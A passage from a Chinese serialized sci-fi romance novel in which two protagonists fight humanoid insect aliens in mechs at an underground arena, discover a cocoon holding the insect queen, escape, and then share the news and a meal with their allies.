颂千纱猛地望向胤允,朝他的位置走近几步,面上不变,把手中的枪握的更紧。 见状,台下的虫族即刻嘶吼着向胤允涌去,唯有一只不动,反而虔诚地朝着北方的擂台匍匐跪拜。 “母亲,西斯将为您的醒来加码!”是一开始与胤允对峙的虫族。 颂千纱打眼扫去,几乎所有机甲都是专门给人形虫族量身定制的机甲,数量让人心惊。她不寒而栗,蹙着眉用天赋叠加离子炮向面前的虫族机甲扫射,给胤允喘息的时间。 她不断实验着虫族机甲的强度,一个个试探虫族机甲的功能,不断寻找新的触发点,耍的不少虫族恼羞成怒,彻底抛弃人身开始以兽形追踪她。 “胤允!怎么样?!” “唔——”那股虫鸣更加尖锐。 胤允来不及开口,脑中的刺痛更甚,嘴里的铁锈味翻江倒海的涌了上来,从嘴角溢出。 西斯面色狠决朝着胤允突刺,越过颂千纱直指胤允。 动作快到颂千纱几乎要看不清动作。 她心中一惊,想要抿唇闪身想要帮胤允挡住,却再次被几个虫族缠住,犹如穷困斗兽,分身乏术。 颂千纱心中愈发焦急,咬着牙疯狂想要突破围剿,帮助胤允。 “小龙!” 胤允在此刻强撑着站起来,他背对着颂千纱摇头,金眸微闪,动作却迟缓了许多。 他改攻为守,几个回合下来,虫鸣声渐长,他的气势一寸寸变弱。 地底的虫鸣从低沉变得尖锐,让颂千纱莫名感到不安。 那个叫西斯的虫族跳蚤般兴奋地强攻,胤允脑中像是有人强行掰开他的脑子用锥子刺入。 这虫鸣声不断攻击他的识海,脑中的封印也愈发滚烫,二者将他的大脑当作战场,用力的撕扯。 他用力喘息着,现在连抬刀挡住攻势都有些吃力。 颂千纱扫射离子炮的动作一顿,瞳孔收缩,耳边传来胤允的闷哼和撞击声。 接着,是金属刮擦而响起的火芯。 最后,是一声钢铁插入战甲的声音。 机甲的内舱的警报声响起,颂千纱脑子一空。 顾不得虫族火力的压制,回头望向胤允。 那虫族无视了颂千纱的防御阵,生生洞穿了胤允的机甲。 是驾驶舱。 她呼吸一窒,脸色瞬间失去血色。 来不及思考对策,她驾驶舱内的警报声再次响起,五六只虫族已经瞄准了她,她奋力一跃躲开攻击,却被虫族逼的更紧。 “胤允!” 颂千纱顾不得省力,眼中天赋更加鲜红,三两下砍下了好几个虫族的头。 她脸色微白,虫族的血液一瞬间溅到眼球里,虫族腥甜的血液顺着眼球往里钻,却在下一刻被颂千纱的血液碾死,只余皮下的铁锈味。 血珠挂在眼睑往下滴,视线被染上一层淡淡的红。 颂千纱面无表情地继续与剩下的虫族缠斗,手法更加果决。 一号房间内的九人几乎同时屏住呼吸,面色凝重。 女人面色冰冷:“她不会被寄生,与胤允一样。” 空气静默一瞬。 女人蹙着眉走近屏幕:“不止,虫族沾上她的皮肤几乎就被融化了。” 场外。 西斯正狞笑着朝胤允处跃起,他用力踏地,腹足借力一蹬,冲刺般要给胤允致命一击。 腾空后,擂台处刚刚他踩过的地方裂出龟壳。 西斯用力把手足往驾驶舱插的更深。 胤允鲜血的味道透过破裂的驾驶舱氤氲而出。 地下的虫鸣声嗡嗡响起,立马更上了一个节奏,躁动地向虫族传播着什么指令。 它的声浪强到二人的视线几乎被残影模糊了一瞬。 颂千纱也开始感到头晕,她屏气把天赋拉到极致,才缓过神来。 西斯像是被感召了一般,每个毛孔都开始战栗,他的攻势再次大增,几乎暴走。 其他的虫族更盛,像是彻底沸腾了起来,摒弃了原本人类的文明束缚,动作彻底变得原始和直接。 就连一号房间内的人,都忍不住展开了自己的腹足舒展。 擂台裂缝更多,西斯用力一踏,用虫足把胤允腾空挑了起来,力道奇大。 擂台彻底承受不住西斯的猛烈攻势,从中间坍塌开来。 烟雾四散,石灰颗粒伴着风吹过所有人的脸,一时看不清局势。 颂千纱绑着眼睛的布料在此刻得到好处。 她面色绷紧,趁机冲入烟雾蓄力冲击炮,心中倒数。 三,二,一! 她脚步一转,对着刚刚的方向打去。 眼中的红光几乎透过布料亮起,但烟雾太浓,也没有人看清。 “轰——”在轰鸣声中参杂了不少虫族的哀叫。 “我没事。”他的沙哑的声音在身边响起,呼吸明显断续。 胤允脑中依旧又胀又裂,脑中两股能量不断绞杀,横冲直撞,他睁开眼却看不清东西,目光中只余极致的光亮与黑斑,耳朵处溢出鲜血。 被洞穿左肩胛骨的痛楚反而让他清醒了不少,□□熟悉的痛感强行刺激他回到现实战斗。 胤允粗喘了一声,他不再抵抗脑中的撕裂,身体摇晃着站了起来,回到颂千纱的视线里,他脸色白的透明,太阳穴处的青筋还在不断跳动。 他在极致的疼痛中反而生出一股冷静,操纵着机甲抬手用力握住尖锐的虫足,将虫足往里胸膛里插的更深了一分,锁死西斯想要抽走的去路,后抬腿一脚把西斯踹到了墙里。 做完一切后,他缓缓吐了口气,把虫族生生从左肩胛里拔出,伤口因动作迅猛汩汩流血。 溅到了胤允的脸上,血顺着下颌滴落,他眸色更深。 本就极具攻击性的相貌,在此刻增加了一丝让人胆寒的危险张力。 颂千纱望着这一幕,对这自残般的作风莫名感到熟悉,虽然失忆时也是这般,可与之相比,这次他更为主动,有勇有谋。 是恢复记忆了吗? 她心中一涩。 西斯在此时感受到一股怪异的威压,这威压不知来由,却让西斯本能般用虫化来抵御。 金眸中迸发出因疼痛而生的兽性,双眸大亮,他眉眼中透着凶狠,虫鸣声的影响在此刻都化作战意,他再次与西斯缠斗了起来。 颂千纱一步一步地朝着胤允的方向引,不久后,颂千纱突破重围加入战局。 她机甲对着虚空挥舞了一阵,很快,以他们为圆心亮起一道阵法。 是隔音阵,,虽依旧无法隔离音浪,但胤允脑中的疼痛感减轻许多,精神好了不少。 颂千纱望着胤允微微松了口气,动作不停,在胤允身上继续凝隔音阵。 烈风拂过她的脸庞,颂千纱微微眯眼,终于有余力观察西斯。 西斯的足被胤允拔掉后迅速长了出来。 但他新长出来的腹足似乎不够坚韧,主力腿换成了另一只。 “你们,今天会血液流尽而死!”西斯望向周围,原本几十个虫族现在只余零星几个,面部狰狞,身如闪电,声音嘶哑尖锐,再无一开始的从容。 颂千纱与胤允对视一眼,不需要语言,二人默契无比。 他们同时往地下发出虫鸣的擂台疾驰奔跑。 西斯气的胸口疼痛,他不管不顾地往二人的方向追去。 二人配合无间,比水里的鱼还要滑溜,带着西斯不停地用腹足攻击几人凿穿地面,颂千纱嘴角勾的更盛。 在西斯的攻击下,那擂台已经浅浅的裂开了一道浅痕。 “这个蠢货!被人当枪使了!” 其实他们也才反应过来,颂千纱胤允的目的并不是逃窜。 一号房间的几人再也坐不住了,点击光幕,专属于这个擂台的防护罩在此刻开启。 整个打斗场的地面都开始震动,擂台划出的浅痕竟然逐渐在修复。 她低头查看地面,已经再无任何打斗过的痕迹,甚至连血迹都吸收了个干净。 颂千纱深吸了一口气,眼中是藏不住的惊诧。 远处有脚步声响起,但很快,脚步声逐渐变成了腹足摩擦地面的声音,让人听着牙酸。 “母亲等待的人果然不同凡响。”一个威严的女声响起。 “你的血一定很香。”这个男声的声音妖娆。 西斯的笑容更盛。 颂千纱眉头一蹙,转头望去。 入场处出现了几道影子。 九人在此刻全都从房间里走了出来。 有人速度快些,几乎与二人的速度持平,有人闲庭信步,如毒蛇般盯着他们,缓缓走来。 清风骤起,变得剧烈,伴着小石子刮在颂千纱的脸上,让她感觉到微微的疼痒。 地底的虫鸣声也变得低沉诡异,地壳震动,像是在召唤着什么。 颂千纱抬眼扫去,场上唯一一个晕眩过去的观众此刻口吐白沫,脸色紫红,在片刻后变得灰白,她面色绷紧。 一股阴冷的寒意从脚底生出,让全身的皮肉都激起一阵生理性的战栗。 二人都同时感受到了一股危险的临近。 作者有话说:终于赶出来了 omg晕倒惹 第65章 “胤允。”颂千纱瞳孔一缩,与胤允对视。 二人的速度同时提升至最高,操纵着机甲就往出口奔去,很快就到了大厅。 颂千纱脚步顿住,喉咙下意识滚了滚,向四周扫视。 身后十人追逐,可面前的敌人更多,他们几乎被围得水泄不通。 大厅内的人几乎都被虫族操控着,堵住了他们的去路,剩下几个没被控制的,也被顷刻杀了个干净。 鲜红的血液从人体中涌出,顺着地板流向颂千纱的机甲,胤允换刀为枪。 伴着脚下还冒着热气的鲜血,颂千纱与机甲共感,感受脚下的温热,面上更冷。 身后腹足追赶的簌簌声越来越近,大厅内的虫族们也在此刻上前冲锋。 虫鸣声在此刻成了虫族的战曲,点燃了虫族的沸腾的血液,形成某种暴戾的号召。 下一秒,敌人朝四面八方涌来。 胤允面色不惧,翻手举枪扫射离子炮,颂千纱几乎同时启动,站在原地蓄力冲击炮。 一秒,两秒,三秒。 颂千纱冲着出□□了一炮。 大部分虫族都敏捷地躲开,但二人的目的也在此刻达成。 一号房间的九人在此时踏入门口。 冲击炮的轰鸣声伴着虫母的低吟,将原本水泄不通的地方被撕开一道口子。 出口太窄,敏捷的机甲在此刻成了累赘。 胤允与颂千纱在下一瞬打开驾驶舱借力一跃,纵身往出口处逃。 屹立在门口的机甲在下一瞬被西斯洞穿。 这一击用了十足的力气,地面都凿出一个深坑,他还是慢了一步。 愤怒几乎吞没了理智,他口中发出只属于虫族的嘶吼。 下一刻,在近处的虫族像是受到信号一般,要拦住他们的去路。 所有的虫族在下一刻一拥而上,速度比刚刚还要迅猛。 肃杀之气伴着虫吟声再次从四面八方传来。 哪怕二人凭着一波突刺冲到了前方,但前方依旧有不少虫族拦路。 “胤允!” 话毕,颂千纱借力朝着胤允一跃。 胤允一把捞起颂千纱,往自己怀里揽住,另一只手握着长枪,挥舞着开路。 他的速度并不快,不一会儿,他们与九人的距离就只剩几十米。 胤允不再与前面的虫族缠斗,躲闪着攻击更快的向前跑着。 不一会儿,属于另一个世界的清风正徐徐吹来,带着光亮。 颂千纱双手掐诀,她遮住眼眸的布料在此刻被风吹飞。 她勾着胤允的肩膀,与西斯等十人正面对视,视线在几人身上徘徊,努力的记住几人的模样。 她额头处金红色莲印正在盛放,红色的眼睛亮的吓人,颂千纱视线终于从他们身上移开,望向更近的虫族。 她不再隐藏,抬手结印再次翻出一个阵法。 一号房间的九人都看在眼里,眼中是藏不住的惊喜与贪婪。 “果然是天赋。”西斯低声呢喃,笑得更加妖冶。 他的眉心处出现一个诡异的长直竖线,逐渐变弯,扭曲着变成一只虫子的图案。 西斯完全虫化,只剩一张脸是人类的样子,诡异至极,速度成倍爆起,三两步就要追上他们了。 在西斯就要抓住胤允的瞬间,颂千纱抿唇,双手一翻,阵法脱手而出,瞬间变大。 阵法像一扇铁门铮铮地拦在所有虫族面前。 颂千纱的脸色也在此刻变得苍白无比,手无力的垂下,整个人靠在胤允身上喘息着。 上面看不懂的符文带着奇异的威压和阵阵杀气,屹立在空中,让虫族们瑟缩,本能退了两步。 属于西斯的虫鸣声再次簌簌传来,比刚才更加尖锐。 它们龇牙再次往前涌了上去。 “轰——”一声巨大的爆炸声从颂千纱身后响起。 胤允的金眸也在此刻闪烁,面前的虫族拦路的即刻失去意识,像小山一般倒在他们面前,被轻易越过。 最后一只拦路的虫族被胤允挥刀砍下头颅,血液从脖颈处喷洒而出,瞬间溅了二人半身。 前方的路在此刻畅通无阻。 “消耗太大了,下次换我来吧。”胤允低声道,他瞥向怀中人,把颂千纱搂得更紧。 “你恢复了?” 颂千纱眼中闪过惊喜,她不自觉地扬起笑脸,强撑着直立起来望他。 “没有,但恢复了许多记忆。”胤允的声音带着些低哑,把枪收进粒子环。 他的臂膀收紧,把颂千纱的头压在自己肩上,不让她看见自己的脸。 刚刚的阵法几乎掏空了颂千纱的天赋,她几乎虚脱,顺势趴了下去,把全身的重量都交给他。 长睫遮住了胤允眼中的偏执,用双手搂住颂千纱,脑中再次闪过化形当日的画面。 “纱纱辛苦了。”胤允轻颤的尾音被身后正在崩塌的巨大声响覆盖。 颂千纱只听见了胤允喊自己。 “嗯?”她微微偏头,头依旧靠在他的肩上不愿挪动。 胤允望着前方的光亮,眼中全是戾气,表情阴鸷。 “以后我会护住你。” 地下的虫族已无瑕观察它们,虫鸣与嘶吼都在爆炸中被掩埋。 他们继续往外跑着,颂千纱缓了口气,再次直起身子,另一只手覆在他肩胛骨的伤口上。 胤允蹙眉一瞬,低眉望向颂千纱惨白的脸,抬手想要阻止,但望向她紧张的神色,又放下了手。 她眼中红光再次闪烁,手间有红光渗出,不到三秒,胤允的伤口恢复原样。 胤允的面色回到了战斗前的红润,只余虫鸣声产生的耳鸣与精神不济没有消失,颂千纱再次脱力,半阖着眼。 他拍了拍颂千纱的背,轻哄道:“我没事,下次不用掏空天赋。” 颂千纱拱了拱胤允的脖颈,“不行,你分明很痛。” 脖颈间传来的痒意让胤允嘴角蓦然一勾,神色没了冷意,温和不少。 他抱着颂千纱一跃,回到地面。 地面阳光明媚,与刚刚的厮杀像是两个世界,打斗场内还伴着哀嚎与虫鸣。 虫母的低吟被彻底隔绝,只隐隐的向地面传来。 胤允脑中的战争终于停止,太阳穴跳的更加剧烈,整个人都空了一瞬,他的指尖忍不住的剧烈颤抖,他抿唇紧握成拳,不让颂千纱发现。 颂千纱在此刻回头,凝望打斗场入口,血腥味浓郁的几乎要从出口炸开,她与其中一个虫族对视,对方阴鸷的眼神几乎要凝成实质,冲她嘶吼。 二人很快就启动航行舰往人多的地方驶去,十人在打斗场门口盯着二人离去的身影,目光有深沉阴鸷,有愤怒不已,也有势在必得。 颂千纱嘴角微勾,冲着那虫族挑了挑眉,后挑衅地望向被拦住的西斯。 他们暂时还不敢走出打斗场,但也是暂时。 远处的警报声骤然响起,颂千纱二人缓缓驶入城市的中心地段,城市广播出现滋滋声,她隐约听见打斗场几个字,但播音员话还未说完,似乎就已经被屏蔽了。 虫鸣声仿佛还在耳边,颂千纱闭着眼,缓缓吐出一口气,瘫坐在椅背上。 半晌,她撑着脑袋俯视着这座城市,眼神空了一瞬,表情带着木然。 分明是一座看起来最华丽繁富的城市,人们浑然不觉地在街上漫步,为生活奔波,但地下的暗涌丛生,在不知不觉中侵入着,不断繁殖的暗流只要轻轻一击,就几乎能顷刻把这看似严密的秩序土崩瓦解,露出腐败的、已经被蚕食的真面目。 “去星宇楼?”胤允在此刻出声。 他转头瞥向颂千纱的裙摆。 颂千纱顿了一刻才转头望向胤允,恍然回神。 她低头看向自己被鲜血染红的衣裙有些遗憾:“要不先去买身衣服吧?” 她嘟囔道:“这才是第一次穿这身裙子呢。” 她拍了拍头上的灰尘,掀起裙摆上的破洞,嘴不由自主地撅了起来。 “如果你很喜欢的话,破了的地方你脱下来我给你补一补?血迹应该能洗干净。”胤允歪头给她提议。 她黑亮的长发变成了灰发,胤允伸手揉了揉她的头发,抖下许多灰尘。 他抿着唇嘴角狂抖,笑意怎么也压不住。 颂千纱瞪了他一眼。 “你会补衣服吗?我记得你最讨厌这种精细的活计了。”颂千纱嘴巴撅的更高,挑起一只眉毛,满脸质疑。 胤允嘴角一撇:“我在四千岁的时候就用——”他话说到一半又猛地停住,缩着脖子瞄了一眼颂千纱,眼中明晃晃的心虚。 胤允想起来,当时撅的是颂千纱的荷叶做的水枪发射玩具,被颂千纱发现后半个月没理他。 他干咳了一声,翘二郎腿的姿势从左边换成了右边,伸手撑着脸挡住颂千纱愈发严厉的视线。 车内的气压愈发低了。 胤允迅速把手动驾驶换成自动驾驶,椅背微微调后,手不知从哪摸了一阵,找出一个袋子,在颂千纱生气之前塞到她手里。 颂千纱挑眉,惊讶地接过袋子。 袋子很大,分量也不轻。 胤允在此刻放下挡脸的右手,轻蜷指腹,转头望向颂千纱:“给你买新衣服,本来今天早上就想要给你,但是看你穿得太漂亮了,就给忘了。” 话毕,他偷偷舒了口气。 要是刚刚说完拔荷叶那事,他的头会比刚刚还疼。 想到这里,胤允情不自禁揉了揉太阳穴,一脸庆幸。 颂千纱把他的表情尽收眼底,轻哼了一声,嘴角扬起笑脸,伸手翻看袋子。 “怎么有两套?”她诧异道。 胤允回的迅速:“还有一套是我的。” 颂千纱心领神会,眉眼都带了笑,把里面的衣服拿了出来。 女装鲜红色为主,黑色和金色作为点缀,而男装相反。 她翻看了一阵,又把衣服塞了回去,将袋子对折,不让里面的衣服染上灰尘。 颂千纱扬着下巴故作不屑,嘴角的笑意出卖了她:“那先去星宇楼洗个澡再穿吧。” “好。”胤允踩下油门。 航行舰在天空划出一丝白色的线,她勾着嘴角望向蔚蓝的天空,眼中带着快要溢出的喜悦。 大地之下,十位虫族望着胤允用天赋杀死的几个虫族,各个诡异的勾起笑容。 西斯蹲下,手放在其中一个虫族的腹部上,半晌,他眉心的黑色虫族标记蠕动着,似乎在释放什么力量,可手下的虫族却毫无动静。 作者有话说:本来想要合上一章发,但是想起来这样会觉得我没更新思密达!所以还是分两张!回到自己的家了!希望可以日六。 第65章 颂千纱和胤允到时,其他人都没到。 因二人到星宇楼时走的是周之盎之前交待的密道,但强烈的血腥味也引得不少服务员侧目。 胤允洗澡洗得快,打开门时,水汽氤氲而出,他身上一身轻薄的浴袍松垮地挂着,没有扣子,只余一根腰带还在瘦劲的腰上。 一幅美男出浴图。 周之盎倚在沙发上,侧目欣赏着这幅美景,她从上到下地扫视了一番后,冲他举杯:“很帅。” 胤允嘴角的笑容凝固。 “砰——”门板被拍得颤抖了好几下。 “啧。”周之盎轻抿了一口红酒,微微耸肩。 红酒入口时有些涩口,她刻意在舌尖品味一番苦涩,后继续在光幕上工作。 没过两分钟,另一扇门悄然打开,探出一颗脑袋。 “之盎姐,刚刚怎么了?好大一声……” “没事,有人想□□,结果发现有不速之客,恼羞成怒了。”周之盎放下酒杯,勾着唇朝颂千纱招手:“过来坐,我给你们准备了新上市的水果,很甜。” 颂千纱点了点头,赤着脚从浴室走了出来。 周之盎侧目看她,颂千纱穿着一身红色长裙,唇红齿白,像是正在盛放的花朵,赏心悦目。 “你怎么来了?因为我们身上的血腥味吗?”颂千纱蹦跳着走到周之盎身边一屁股坐下,剥开一瓣橘子问。 “嗯,我看你们的路线是从打斗场出来的。”周之盎把光幕收了起来,正视颂千纱:“但你们来时的血迹,像是经历了一场鏖战,谁能将你们打成这样?” 周之盎对二人的实力早有调查。 颂千纱没有立刻回答,她把手里的橘子掰了两瓣递给周之盎,一脸无辜地看着她。 周之盎迟疑了一瞬,伸手接过,掰了一瓣放进嘴里咀嚼。刚咀嚼了一下,她表情就顿了顿,后意味深长地望着颂千纱。 颂千纱红彤彤的眼里全是狡黠,嘴角越弯越大。 “我们在打斗场遇到了大批量的人形虫族。”颂千纱姿势松散地倚在沙发上,发尾还有些湿漉漉的。 周之盎的表情一下凝重起来:“有多少?” 颂千纱刚准备开口回答,另一扇门开了。 胤允的目光旁若无人地落在颂千纱身上,二人视线相交。 他伸手拿了一个吹风筒走了出来,望着颂千纱的衣裙勾起唇角:“那里已经没有常人了,还死了不少观众,不知道这次他们准备怎么压。” 果然很明艳。 胤允眼神中带着些自得。 他走到颂千纱身边,把鞋放在她身侧,后坐到颂千纱身边,把她捞进自己怀里,打开吹风筒,帮颂千纱吹干长发。 周之盎神色一凛,收敛了笑意望向二人,“还有什么消息?” 颂千纱埋在胤允颈侧的头忽然扬了起来,她眼神亮晶晶地望向胤允,抬手把剩下的所有橘子塞进他嘴里。 胤允微微挑眉,勾着嘴角咀嚼,手上动作不停。 周之盎紧绷的面色扭曲了一瞬,她忍不住牙酸。 这厮看起来是在明爽颂千纱给他喂食吧? 周之盎侧了侧身,不再望着二人,饶是她主事多年,也觉得有些头皮发麻。 太腻了。 她微微摇头,侧身再次拿起高脚杯,微微晃动,撑着脑袋,垂眸沉思着。 胤允咽下酸涩的橘子,半阖着眼瞥周之盎:“还有一件事。” 吹风筒的声音响彻整个包厢,颂千纱窝在他怀里,昏昏欲睡。 周之盎转头看胤允。 他不紧不慢地用指尖穿过她的发尾,揉了揉埋在自己颈侧的脑袋,才慢条斯理地关掉吹风筒。 “打斗场里有一个茧”胤允把吹风筒放到一旁,动作几乎不发出声响。 他低头望向颂千纱,她在男人怀里拱了拱,他动作一顿,手笼着颂千纱的腰不再有动作。 “茧里是虫母。” 吹风筒的余温逐渐在三人指尖散尽,轻微的凉意伴着微微的湿气,让人莫名觉得有些冷。 房间再也没有其他声音响起。 摇晃的高脚杯僵住了许久,周之盎眉头隆起,手指不自觉地收紧,用力到泛白。 红色的酒液洒在了周之盎的裙摆上,她浑然不觉,紧抿着唇,屏住呼吸。 不知过了多久,颂千纱已经彻底睡着在胤允怀里。 周之盎像是终于缓了过来,眼睛紧盯着他:“你怎么确定的?” 胤允不说话,仰着下巴睨她。 不知为什么,周之盎觉得他的气势与之前有些不同。 之前是肃杀中带着本能的强势,而现在,他骨头缝里都透出一股睥睨众生的傲慢。 周之盎气势不变,与胤允对峙半晌。 他显然没有解释的意思,就连借口也懒得编。 周之盎率先败下阵来,她叹了一口气,不与他做无谓的争斗。 她喝了一口红酒,蹙着眉望向胤允,“我需要确认真实性,这对我来说很重要。” 胤允歪头,用脸颊蹭了蹭颂千纱的发顶:“我自有办法。” 他神在在地瞥了周之盎一眼。 “……”周之盎蹙着眉,她闭眼强行接受他的个性,青筋直跳。 半晌,她叹了口气,抬手揉太阳穴。 “还有。” 胤允伸手指了指桌上的橘子,冲周之盎勾了勾手。 周之盎嘴角微不可察的抽动了一下,没好气的拿了三个拍在胤允手上,看向他。 胤允垂着脸,眼下带着淡淡的青黑,唇色有些寡淡,开口道:“打斗场遇到了十个比较强的人形虫族。” “我没有正面对战,但以我的经验,这十人实力在皇虫以上。”胤允剥开橘子,掰开一瓣放进嘴里,“他们之中还有为人形虫族研发的机甲。” 包厢内一静,只余胤允咀嚼的声音。 他说的轻描淡写,却又一次炸毁了周之盎如奶油一般化开的三观。 周之盎没说话,僵着脊背坐在沙发上,不知道在想什么。 长期处变不惊的周之盎也忍不住用力揉了揉脸,让自己努力接受这一切。 她用力呼吸到底,又深深地叹了出来。 没等她彻底缓过来,门口处就传来了叩门声。 过了几秒,周之旭推门走了进来,身后跟着四个人。 嘈杂的人声由远而近。 “你们来的这么早!偶像!纱纱!老姐!”周之旭兴奋地朝二人招手,声音清亮欢脱。 颂千纱从他脖颈处抬头,打了个哈欠,眼神还带着惺忪,招手道:“嗨,我们也刚来不久。” “……”胤允的脸一下就黑了,转过头瞪着四人。 时循瞥了胤允一眼,视若无睹地找了个不远处的沙发坐下,还抢走了他刚刚剥好了的橘子塞进嘴里。 胤允咬牙切齿,狠狠地盯着时循。 颂千纱在他捏爆手里仅剩的半个橘子之前,立刻抽出橘子往嘴里塞。 时循嚼了一下,蹙眉微顿,古怪地瞥了眼胤允和颂千纱。 “这么酸?” “嘿嘿,提神啊。”颂千纱冲时循眨眼。 齐焦坐在时循身旁,伸手从果盘里拿了两个小番茄塞进嘴里,一脸惬意。 周之旭带着林清澜挨着周之盎坐,见四人的架势,手上的动作也快了起来,与他们抢着把碎过往嘴里塞,抽空还给林清澜塞了一个。 林清澜沉默地坐在沙发上,像个提线木偶。 热闹一时冲散了刚刚冻结的气氛。 除了周之盎与林清澜,二人沉默的像是没有存在一般。 刚刚几人推门的进来时的凉意不断冲刷着整个房间,逐渐在房间中升温变成暖气。 周之盎心中在不断下沉,她双手冰凉,摆手拒了弟弟递过来的火龙果,握着高脚杯的手用力到泛白。 半晌,周之盎深吸一口气,做下决定,望向胤允:“这些信息很重要,我会全部告诉军方,不管他们信或不信。” “劝你谨慎。” 胤允又随手从桌上拿了个水果塞进嘴里,腮帮子鼓鼓的咀嚼着。 颂千纱与他两个人风卷残云般,把橘子吃的只剩零星几个,又开始狂吃别的水果。 七人面前果香四溢,鲜嫩多汁的水果让众人吃的享受。 刚来的五人的动作同时顿住,各自对视一眼,抬头望向周之盎。 周之旭眨了眨眼,满脸懵地把刚塞进嘴里的大葡萄吐了出来:“姐,什么情况?都闹到军方了?” 周之盎心不在焉地摇了摇头,心思不在回答弟弟的问题上。 在场五个人的视线同时望向胤允。 “……”胤允挑了挑眉,泰然自若,也没有解释的意思。 颂千纱撇了撇嘴,手伸到胤允瘦劲的腰间一拧:“快说你们刚刚聊了什么。” “嘶——”胤允深吸了一口气。 他捂着她刚刚拧过的地方,把二人的谈话简明扼要的复述了一遍。 刚来的四人怔了许久。 这几个消息实在是惊人。 周之旭望向窗外,这最为繁华安全的城市此刻像是一座巨大的海市蜃楼,所有人都在其中目眩着痴迷其中。 他打了个冷颤。 一直坐在原地垂眸思忖的周之盎打破了包厢内的寂静。 她抬眼望向胤允:“谨慎什么?是指没人信吗?” 胤允没有立刻回答,拿了张纸巾擦手。 刚来的四人此刻土匪进村的架势也慢了下来,往嘴里塞了一个水果,都面露忧色。 时循目光微闪,像是想到了什么,连续往嘴里塞几个了颗蓝莓,望向颂千纱。 她与胤允同时换了衣服,脸上也没了刚出门时的妆容,时循挑了挑眉。 没人接话,包厢陷入安静。 颂千纱转头望向林清澜,他坐在最边缘的位置,整个人消瘦了许多,光打在他的脸上,甚至能看见凹陷的两颊,脸上带着死气,眼中也没有什么求生之意。 没有吸收虫族的力量吗? 颂千纱心中疑惑。 林清澜的手摸向自己的肩胛,他在此时才察觉颂千纱的目光,手顿了顿,又放下了,冲着颂千纱微笑点头。 他转头时灯光变了,平直的洒在他脸上,他的样子又与平时别无二致,仿佛刚刚的病态与脆弱时幻觉一般。 林清澜在此时倏然开口,“因为军方也不安全。” 他低着头,眼睛盯着周之旭刚刚塞到手里的香蕉,半晌,又抬眼望向周之盎:“有一种寄生方法。” “被寄生者死在你面前,血溅到谁——”他顿了顿,又垂眸望向自己的手臂:“谁就是下一个被寄生者。” 周之盎吐了口气,这一晚上的信息量过于惊人,她的手止不住地颤抖,她强撑着挺直脊背。半晌,她又像是被打败了似的瘫在沙发上,望着天花板。 她忽然意识到,自己多年来盘旋于几大势力之间保持平衡,自以为手段了得,实际上不过是政客们掩人耳目的玩物。 她的家园,早就被虫族蛀成了筛子。 周之旭从未见过周之盎有如此情绪外露的时刻,他张了张口,又不知道怎么安慰。 周之盎缓了一会儿,端坐起来,她的视线扫过几人,几人的神情似乎都没有讶异。 齐焦察觉她的视线,忍痛割爱了最后一颗小番茄递给她,开口安慰道:“昨天发现的,之旭哥没来得及和你说吧。” “嗯。”周之盎伸手接过,她垂眸半晌,站起来与几人挥手:“谢谢,我知道了。” 周之盎脸色愈发的沉了下去,打开光脑在上面输入着什么。 刚准备离开包厢,像是忽然想起自己忘记与几人打招呼,恍然回神转头望向沙发处:“我会尽我所能让这件事发酵,先走了,要提前给你们上饭菜吗?” “上,好饿。”胤允撑着头,语气带着明显的疲倦。 颂千纱也眼巴巴的望着她点头。 “很快。”话毕,周之盎走出房门关上。 时循见门彻底关上,坐姿松散下来,侧目望向颂千纱二人。 二人的脸色都带着苍白,眼下都带着青黑。 “想到去打斗场是因为之前在擂台听见的声音?”时循开口。 “嗯。”颂千纱点头:“原本只是想要碰碰运气,没想到真的是虫母。” “怎么发现的?”齐焦伸手轻轻一掰,柚子四分五裂,她手忙脚乱地从地上捡起。 “一开始也只是怀疑。”颂千纱肚子咕咕叫了两声,她苦着脸,“后面一个叫西斯的人形虫族自己喊的母亲,一点也没避着。” 时循与齐焦对视,二人都望见了彼此眼中的讶异。 “那怎么没有怀疑他?”时循率先接话,手里捞起最后一粒蓝莓。 “那茧会精神攻击,会让虫族兴奋,我和他甚至也会受影响。”颂千纱指了指胤允。 时循蹙了蹙眉,撑着脑袋思忖了半晌。 周之旭吸了吸鼻子,目光扫视四周,最后落在包厢内的房间处。 他坐的离房间最近,闻到了那两处参杂着淡淡的血腥味。 “你们受伤了?”周之旭回头问道。 “嗯。” 胤允撑着脑袋回答,静静地倚在沙发上闭目养神。 脑中隐隐作痛,他微微侧头,把不断跳动的青筋掩藏在阴影下,不让颂千纱看出来。 “要紧吗?与虫族一战很危险吧?需不需要查一下寄生?”周之旭的担忧如同连珠炮似的脱口而出。 颂千纱侧身望向周之旭,摇了摇头:“不用查,不要紧。” 林清澜蓦然抬头,眼中闪过一丝莫名的情绪。 他紧盯着颂千纱,声音呕哑嘲哳:“为什么?” 桌上的橘子已经一个不剩。 颂千纱往嘴里塞香蕉的动作顿住,张了张口,不知如何解释,下意识瞥向时循。 时循瞥向林清澜与周之旭,敲了敲桌子,她垂眸,长睫遮住了她与林清澜的对视:“每个人身上都有秘密,守好自己的边界。” 空气静默了一瞬,周之旭有些不明白时循忽然说这句话的含义,挠头望着她。 时循瞥了眼周之旭,没解释。 林清澜望向时循,一瞬间有许多话想要说出口,但话却堆挤在喉咙,又闭上了嘴,再次垂下目光。 叩门声响起,机器人推着菜端了进来,也许是因为周之盎亲自叮嘱,这次的菜是一起上的,并且都是最佳的品尝时间。 “吃饭。” 齐焦第一个往餐桌走去,望向时循。时循会意,也起身跟着齐焦走。 颂千纱迫不及待地跑了起来,她第三个站起来,第一个到,拿起筷子就往嘴里塞。 “再点一条鱼!我一个人就能吃完!”颂千纱说的囫囵。 “吃完再点。”时循的声音很淡。 “唔!” “……” 胤允和颂千纱二人胃口大开,两个人没几分钟就几乎吃完了一整桌,剩下三人目瞪口呆。 “你们咀嚼过吗?生吞啊?”齐焦啧啧称奇。 “吃完了,点!”颂千纱没管齐焦的调侃,降下光幕就又点了许多菜。 林清澜依旧吃不了东西,他一个人坐在沙发上,身影显得格外孤独。 他低头看着手里的香蕉,不知在想些什么,半晌,他剥开塞进嘴里,一口一口的吃完。 身体果不其然在下一刻开始疼痛,他扯出一抹弧度,像是想笑,又没成功。 林清澜瞥了眼开始发冷的指尖,喉咙滚动了一下。 他早就忘了香蕉是什么味道了。 喉咙间不断翻涌上来的血腥味却比香蕉更加熟悉和真实。 林清澜恍惚一瞬,望向五人的身影,求生的本能使他把目光不自觉地落在颂千纱身上。 眼神晦涩又莫测,他的心思玲珑剔透,几乎只用了一刹就猜到了时循警告背后的含义。 他抿着唇像是在做着什么思想斗争。 半晌,林清澜移开目光,靠坐在沙发上望着窗外的夕阳,神色很淡。 